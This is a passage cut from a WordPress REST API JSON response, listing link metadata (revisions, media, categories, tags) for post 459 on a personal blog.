wp-json\/wp\/v2\/posts\/459\/revisions\/724"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=459"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=459"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=459"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}